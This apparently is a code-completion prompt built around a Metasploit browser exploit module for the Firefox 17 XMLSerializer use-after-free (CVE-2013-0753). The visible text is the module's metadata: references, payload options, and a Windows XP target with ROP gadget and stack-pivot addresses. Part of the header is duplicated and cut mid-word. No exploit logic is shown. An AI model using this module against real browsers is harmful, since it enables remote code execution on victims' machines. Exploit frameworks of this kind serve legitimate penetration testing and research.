You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: mozilla_firefox_xmlserializer.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox XMLSerializer Use After Free',
      'Description'    => %q{
        This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
        a use-after-free of an Element object, when using the serializeToStream method
        with a specially crafted OutputStream defining its own write function. This module
        has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
        SP3.
      },
      'Licen
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox XMLSerializer Use After Free',
      'Description'    => %q{
        This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
        a use-after-free of an Element object, when using the serializeToStream method
        with a specially crafted OutputStream defining its own write function. This module
        has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
        SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'regenrecht',  # Vulnerability Discovery, Analysis and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0753' ],
          [ 'OSVDB', '89021'],
          [ 'BID', '57209'],
          [ 'ZDI', '13-006' ],
          [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
          [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true
        },
      'Payload'        =>
        {
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Space'       => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Firefox 17  / Windows XP SP3',
            {
              'FakeObject'   => 0x0c101008, # Pointer to the Sprayed Memory
              'FakeVFTable'  => 0x0c10100c, # Pointer to the Sprayed Memory
              'RetGadget'    => 0x77c3ee16, # ret from msvcrt
              'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
              'StackPivot'   => 0x77c15ed5, # xcht eax,esp # ret msvcrt
            }
          ]
        ],
      'DisclosureDate' => '2013-01-08',
      'DefaultTarget'  => 0))

  end